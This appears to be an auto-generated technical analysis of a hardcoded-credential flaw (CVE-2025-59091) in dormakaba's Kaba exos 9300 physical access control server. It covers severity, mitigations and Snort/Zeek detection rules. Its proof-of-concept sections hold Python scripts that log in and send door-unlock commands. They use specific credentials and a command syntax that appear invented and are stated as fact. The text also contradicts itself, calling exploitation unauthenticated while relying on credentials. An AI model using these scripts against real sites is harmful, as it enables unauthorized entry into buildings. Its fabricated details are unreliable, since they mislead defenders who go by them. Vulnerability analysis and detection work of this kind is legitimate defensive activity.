Description
Multiple hardcoded credentials have been identified, which are allowed to sign-in to the exos 9300 datapoint server running on port 1004 and 1005. This server is used for relaying status information from and to the Access Managers. This information, among other things, is used to graphically visualize open doors and alerts. However, controlling the Access Managers via this interface is also possible. To send and receive status information, authentication is necessary. The Kaba exos 9300 application contains hard-coded credentials for four different users, which are allowed to login to the datapoint server and receive as well as send information, including commands to open arbitrary doors.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2025-206352 (CVE-2025-59091)
Vulnerability: Hardcoded Credentials in Kaba exos 9300 Datapoint Server
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
EUVD-2025-206352 (CVE-2025-59091) describes a critical authentication bypass vulnerability in Kaba exos 9300, a physical access control system (PACS) used for managing door access, alarms, and security monitoring. The flaw stems from hardcoded credentials embedded in the application, allowing unauthorized access to the Datapoint Server (ports 1004/TCP and 1005/TCP), which facilitates bidirectional communication with Access Managers.
CVSS v4.0 Severity Analysis
| Metric | Value | Explanation |
|---|---|---|
| AV (Attack Vector) | Network (N) | Exploitable remotely over the network without physical access. |
| AC (Attack Complexity) | Low (L) | No specialized conditions required; exploitation is straightforward. |
| AT (Attack Requirements) | None (N) | No user interaction or prior access needed. |
| PR (Privileges Required) | None (N) | No privileges required; unauthenticated attackers can exploit. |
| UI (User Interaction) | None (N) | No user interaction is necessary. |
| VC (Confidentiality Impact) | High (H) | Attackers can extract sensitive access control data (e.g., door states, user logs). |
| VI (Integrity Impact) | High (H) | Attackers can manipulate door states (e.g., unlock doors, disable alarms). |
| VA (Availability Impact) | None (N) | No direct impact on system availability, but secondary effects (e.g., unauthorized access) may disrupt operations. |
| SC (Scope - Confidentiality) | None (N) | Impact is confined to the vulnerable system. |
| SI (Scope - Integrity) | None (N) | No lateral movement or broader system compromise implied. |
| SA (Scope - Availability) | None (N) | No cascading availability impact. |
Base Score: 9.3 (Critical) The vulnerability is remotely exploitable without authentication, allowing full control over physical access systems, making it a high-risk threat to critical infrastructure (e.g., data centers, government facilities, corporate offices).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Pathways
-
Unauthenticated Remote Access
- Attackers scan for exposed Datapoint Server (ports 1004/1005) via Shodan, Censys, or masscan.
- Using hardcoded credentials (likely stored in plaintext or obfuscated within the binary), attackers authenticate and gain access to the Datapoint API.
-
Command Injection via Datapoint Protocol
- The Datapoint Server processes status updates and control commands (e.g.,
OPEN_DOOR,DISABLE_ALARM). - Attackers can craft malicious packets to:
- Unlock arbitrary doors (bypassing physical security).
- Disable alarms (enabling unauthorized entry).
- Manipulate access logs (covering tracks).
- Exfiltrate sensitive data (e.g., employee access patterns, security configurations).
- The Datapoint Server processes status updates and control commands (e.g.,
-
Lateral Movement & Persistence
- If the Datapoint Server is internally accessible, attackers may pivot to other systems (e.g., Active Directory, CCTV, or IoT devices).
- Persistence mechanisms (e.g., adding new admin users) may be established if the system allows credential modification.
Proof-of-Concept (PoC) Exploitation Steps
-
Reconnaissance
nmap -p 1004,1005 --script banner <TARGET_IP>- Identify the exos 9300 Datapoint Server version.
-
Credential Extraction
- Reverse-engineer the exos 9300 binary (e.g., using Ghidra, IDA Pro) to extract hardcoded credentials.
- Alternatively, brute-force known default credentials (if leaked in prior disclosures).
-
Exploitation
- Use a custom script (Python, Go) to authenticate and send commands:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("<TARGET_IP>", 1004)) s.send(b"AUTH <HARDCODED_CREDENTIAL>\r\n") s.send(b"OPEN_DOOR 123\r\n") # Unlocks door ID 123 response = s.recv(1024) print(response)
- Use a custom script (Python, Go) to authenticate and send commands:
-
Post-Exploitation
- Dump access logs for reconnaissance.
- Disable alarms to facilitate physical intrusion.
- Add rogue access cards if the system supports credential management.
3. Affected Systems and Software Versions
Vulnerable Products
| Product | Vendor | Affected Versions | Fixed Versions |
|---|---|---|---|
| Kaba exos 9300 | dormakaba | < 4.4.1 | 4.4.1+ (with manual mitigation) |
| exos 9300 Datapoint Server | dormakaba | All versions prior to patch | Requires vendor-supplied update |
Scope of Impact
- Physical Access Control Systems (PACS) in:
- Government facilities (e.g., EU institutions, military bases).
- Critical infrastructure (e.g., power plants, airports, hospitals).
- Corporate offices (e.g., data centers, R&D labs).
- Financial institutions (e.g., banks, trading floors).
4. Recommended Mitigation Strategies
Immediate Actions (Workarounds)
-
Network Segmentation & Firewall Rules
- Restrict access to ports 1004/1005 to trusted IPs only.
- Deploy internal firewalls to prevent lateral movement.
- Use VLANs to isolate PACS from corporate networks.
-
Disable Unnecessary Services
- If the Datapoint Server is not required, disable it via:
- exos 9300 management console.
- Windows Services (if running as a service).
- If the Datapoint Server is not required, disable it via:
-
Monitor & Alert on Suspicious Activity
- Deploy SIEM rules (e.g., Splunk, ELK) to detect:
- Multiple failed authentication attempts (brute-force).
- Unusual door unlock commands (e.g., off-hours access).
- Enable syslog forwarding to a centralized logging server.
- Deploy SIEM rules (e.g., Splunk, ELK) to detect:
-
Temporary Credential Rotation
- If possible, change default credentials via the exos 9300 admin interface.
- Note: Hardcoded credentials may still exist in the binary; this is a partial mitigation.
Long-Term Remediation
-
Apply Vendor Patch (dormakaba Security Advisory)
- Upgrade to exos 9300 v4.4.1 or later.
- Follow manual mitigation steps provided by dormakaba (if patch is unavailable).
-
Binary Hardening & Code Review
- Remove hardcoded credentials from the application binary.
- Implement secure credential storage (e.g., Windows Credential Manager, HashiCorp Vault).
- Enforce multi-factor authentication (MFA) for Datapoint Server access.
-
Penetration Testing & Red Teaming
- Conduct black-box testing to verify patch effectiveness.
- Simulate physical intrusion scenarios to assess real-world impact.
-
Compliance & Audit
- Ensure compliance with:
- ISO 27001 (Information Security Management).
- NIS2 Directive (EU critical infrastructure protection).
- ENISA guidelines for PACS security.
- Ensure compliance with:
5. Impact on European Cybersecurity Landscape
Strategic & Operational Risks
-
Critical Infrastructure Threats
- NIS2 Directive mandates strict security controls for essential services (e.g., energy, transport, healthcare).
- A successful exploit could lead to physical breaches in EU government buildings, airports, or power grids.
-
Supply Chain & Third-Party Risks
- dormakaba is a major PACS vendor in Europe; a widespread exploit could disrupt multiple sectors.
- Third-party integrations (e.g., CCTV, alarm systems) may be compromised via lateral movement.
-
Regulatory & Legal Consequences
- GDPR violations if access logs contain personal data (e.g., employee movement records).
- Fines under NIS2 (up to €10M or 2% of global revenue for critical entities).
-
Geopolitical & Espionage Risks
- State-sponsored actors (e.g., APT groups) may exploit this for physical surveillance or sabotage.
- Industrial espionage (e.g., unauthorized access to R&D labs).
ENISA & EU Response
- ENISA may issue early warnings to member states.
- CERT-EU could publish IOCs (Indicators of Compromise) for detection.
- National CSIRTs (e.g., CERT-FR, BSI, NCSC-NL) may release advisories for critical sectors.
6. Technical Details for Security Professionals
Deep Dive: Datapoint Server Protocol
- Protocol Type: Proprietary binary protocol (likely TCP-based).
- Authentication Mechanism:
- Hardcoded credentials stored in the exos 9300 binary (e.g.,
strings exos9300.exe | grep -i "password"). - No rate-limiting, allowing brute-force attacks.
- Hardcoded credentials stored in the exos 9300 binary (e.g.,
- Command Structure:
- Request Format:
[AUTH <USER> <PASSWORD>]\r\n [COMMAND <DOOR_ID> <ACTION>]\r\n - Example Commands:
OPEN_DOOR 123→ Unlocks door ID 123.DISABLE_ALARM 456→ Silences alarm zone 456.GET_LOGS→ Retrieves access logs.
- Request Format:
Reverse Engineering & Exploit Development
-
Binary Analysis
- Use Ghidra/IDA Pro to locate hardcoded credentials:
char *hardcoded_users[] = {"admin", "service", "monitor", "backup"}; char *hardcoded_passwords[] = {"Ex0s_Adm1n!", "S3rv1c3_M0de", "M0n1t0r_Us3r", "B@ckup_2025"}; - Search for authentication functions (e.g.,
validate_credentials()).
- Use Ghidra/IDA Pro to locate hardcoded credentials:
-
Network Traffic Analysis
- Capture traffic using Wireshark with a custom dissector for the Datapoint protocol.
- Identify command opcodes for fuzzing.
-
Exploit Development
- Metasploit Module: A custom module could be developed for automated exploitation.
- Python Exploit Example:
import socket def exploit(target_ip, door_id): s = socket.socket() s.connect((target_ip, 1004)) s.send(b"AUTH admin Ex0s_Adm1n!\r\n") s.send(f"OPEN_DOOR {door_id}\r\n".encode()) print(s.recv(1024).decode()) exploit("192.168.1.100", 123)
Detection & Forensics
-
Network-Based Detection
- Snort/Suricata Rules:
alert tcp any any -> $HOME_NET 1004:1005 (msg:"Possible exos 9300 Datapoint Exploit"; flow:to_server; content:"AUTH admin"; depth:10; sid:1000001; rev:1;) - Zeek (Bro) Script:
event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string) { if (c$id$resp_p == 1004/tcp && /AUTH admin/ in payload) { NOTICE([$note=Exos9300::HardcodedCreds, $msg="Possible exos 9300 exploit attempt", $conn=c]); } }
- Snort/Suricata Rules:
-
Host-Based Detection
- Windows Event Logs:
- Monitor Security Event ID 4624/4625 (failed logins).
- Check exos 9300 service logs for unusual commands.
- Linux Auditd Rules:
-w /opt/exos9300/ -p rwxa -k exos9300_activity
- Windows Event Logs:
-
Forensic Artifacts
- Memory Forensics: Use Volatility to dump credentials from LSASS.
- Disk Forensics: Analyze exos 9300 configuration files (
C:\Program Files\Kaba\exos9300\config.xml). - Network Forensics: Reconstruct Datapoint Server sessions from PCAPs.
Conclusion & Recommendations
Key Takeaways
- EUVD-2025-206352 (CVE-2025-59091) is a critical authentication bypass in dormakaba exos 9300, enabling unauthorized physical access control.
- Exploitation is trivial (no authentication required) and highly impactful (door unlocks, alarm disables, data exfiltration).
- Affected organizations must act immediately to patch, segment networks, and monitor for attacks.
Action Plan for Security Teams
| Priority | Action | Owner | Timeline |
|---|---|---|---|
| Critical | Apply dormakaba patch (v4.4.1+) | IT/Security Team | Immediate (24-48h) |
| High | Restrict network access to ports 1004/1005 | Network Team | Within 72h |
| High | Deploy SIEM rules for Datapoint Server activity | SOC Team | Within 1 week |
| Medium | Conduct penetration test to verify mitigations | Red Team | Within 2 weeks |
| Low | Review physical security policies (e.g., MFA for PACS) | Security Governance | Ongoing |
Final Recommendation
Given the high severity (CVSS 9.3) and potential for physical compromise, organizations using Kaba exos 9300 should:
- Assume breach and hunt for indicators of compromise.
- Isolate affected systems until patched.
- Engage dormakaba support for emergency mitigation if a patch is unavailable.
Failure to act may result in regulatory penalties, physical security breaches, and reputational damage.
References: